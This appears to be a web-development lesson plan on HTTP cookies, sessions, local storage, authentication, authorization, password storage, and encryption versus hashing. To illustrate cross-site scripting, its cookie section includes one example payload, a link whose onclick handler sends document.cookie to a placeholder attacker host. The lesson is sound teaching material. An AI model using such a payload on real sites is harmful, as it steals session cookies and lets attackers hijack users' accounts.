- Describe how HTTP cookies work
- List common uses and limitations of cookies
- Explain why the statelessness of HTTP necessitates sessions & cookies
- Describe how sessions work
- Describe where a session exists in a client/server interaction
- Demonstrate how cookies are sent back and forth between client and server
- Explain the difference between session data, cookie data, and local storage
- Provide a high-level explanation of what authentication is.
- Explain the difference between authentication and authorization.
- Describe some basic security measures for handling sensitive data, such as passwords.
- Explain the difference between encryption and hashing
- Create a users class that handles user signups
- Authenticate users using email and password
- Configure authorization for protected resources
Cookies are small pieces of data (4kb) sent from a website and stored in a user's computer by the browser. Although cookie data is generally sent from websites, it's also possible to use a client side language like JavaScript to set and retrieve cookie data.
They are sent with each request to web servers to give state for otherwise stateless HTTP transactions. Cookie data is stored as key/value pairs and you can access the data by the name.
Cookies were developed at Netscape as a way of persisting data between requests.
The word 'cookie' comes from 'magic cookie,' a term in programming languages for a piece of information shared between co-operating pieces of software. The choice of the word cookie appears to come from the American tradition of giving and sharing edible cookies.
- Session
- No expiration timestamp, lives only for the duration of the browser session
- Persistent
- Expiration date attached, information persists across sessions and is sent to servers with every request
- Third party tracking
- Belong to domains not visible in the browser URL bar
- Advertisers can place cookies on your machine to track where you've been and track your history
- HttpOnly
- Used by sites to set cookies that can't be read by client side scripts. For example, Sinatra sets HttpOnly cookies for session data, that way client side scripts can't access it
- Session management
- Unique session identifier within the persistent cookie that is sent with each request to the server
- Personalization
- User tracking
- Advertisers use cookies to track users across multiple sites
- This is why we might see custom/personalized ads when we visit Facebook or other sites
- On the server, cookies are set with the
Set-Cookieheader in the response. - The expires time is set with the
Expiresattribute with the date/time that the cookie should expire. - The
Max-Agesets the number of seconds the cookie is allowed to live since the time it was received.
// Set a cookie name/value
document.cookie = "username=John Doe";// Retrieving the cookie value
var cookie = document.cookie;What are some limitations of cookies? Concerns?
- Live on the client side, users can tamper with
- Cookies eventually expire
- They are specific to the machine that the user browsed the site with (e.g. shopping cart contents would be tied to that machine). What happens when they switch devices or their computer dies?
5 min
Have students pair up with a partner and compare/contrast cookies and local storage. They will probably have to do some research especially in regards to local storage.
When would it be appropriate to use either one? What about sessions?
- Can only be read on the server
- Store secure data that you want to ensure hasn't been tampered with
- Can be read by both the client and server
- Limited in size: 4 kb
- Can set expiry time
- Sent with every request to the server in the headers
- HTML5, newer technology. Need to check requirements
- Up to 5 mb storage per domain
- Can ONLY be read by the client
- Data persists forever, must be cleared manually by JavaScript or clearing browser history
This demo needs to be run from 127.0.0.1 (not 'localhost') on Chrome for it to work, in Safari we can just open up the file directly and it will work
If a website is not filtering user generated content, then a malicious user could output html/javascript that grabs any sensitive cookie data (e.g. session id) and send it to another malicoius website to steal it
<a href="#" onclick="window.location='http://attacker.com/stole.cgi?text='+escape(document.cookie); return false;">Click here!</a>Authentication is the process of determining if someone is who they say they are. In web applications, authentication refers to users identifying themselves through a login procedure (e.g. email/password)
Note: Go over examples of authentication
Authorization is determining whether they have access to a particular resource (e.g. roles)
- Use HTTPS for secure transmission of data
- Have a minimum and maximum password length, within reason
- Limit the number of successive login attempts per user (make them wait, or display Captcha)
- Never store passwords in plain text, store in a non-reversible hash form
- A side effect is that you can't recover passwords, you must reset them to new ones
Twitter high profile security breach http://blog.codinghorror.com/dictionary-attacks-101/
- Hacker used dictionary attack to get into a high profile user's account - who happened to be an admin of Twitter
- Not only was he authenticated as this user, he was authorized to access other high profile user accounts like Barack Obama's, Fox News, etc
| 1st failed login | no delay |
|---|---|
| 2nd failed login | 2 sec delay |
| 3rd failed login | 4 sec delay |
| 4th failed login | 8 sec delay |
| 5th failed login | 16 sec delay |
Encryption is the conversion of data into a form, called a ciphertext, that cannot be easily understood by unauthorized people. Encryption is reversible, there is always a method for getting the original input back
Encryption could be viewed as a safe deposit box. Whatever you put in there comes back out, as long as you possess the key with which it was locked up in the first place. It's a symmetric operation. Given a key and some input, you get a certain output. Given that output, and the same key, you'll get back the original input. It's a 1:1 mapping.
Hashing is a one-way, data-destructive process, which takes an arbitrary-length string as input, and outputs a fixed-length string. Example:
- Input: "hello world"
- Output: "2aae6c35c94fcfb415dbe95f408b9ce91ee846ed"
A hash function could be considered the same as baking a loaf of bread. You start out with inputs (flour, water, yeast, etc...) and after applying the hash function (mixing + baking), you end up with an output: a loaf of bread.
Going the other way is extraordinarily difficult - you can't really separate the bread back into flour, water, yeast - some of that was lost during the baking process, and you can never tell exactly how much water or flour or yeast was used for a particular loaf, because that information was destroyed by the hashing function (aka the oven).
Many different variants of inputs will theoretically produce identical loaves (e.g. 2 cups of water and 1 tsbp of yeast produce exactly the same loaf as 2.1 cups of water and 0.9tsbp of yeast), but given one of those loaves, you can't tell exactly what combo of inputs produced it.
Bcrypt is a popular algorithm used to hash passwords today. It uses a random salt that helps prevent rainbow table attacks to hash the password in a way that's not recoverable.
How NOT to store passwords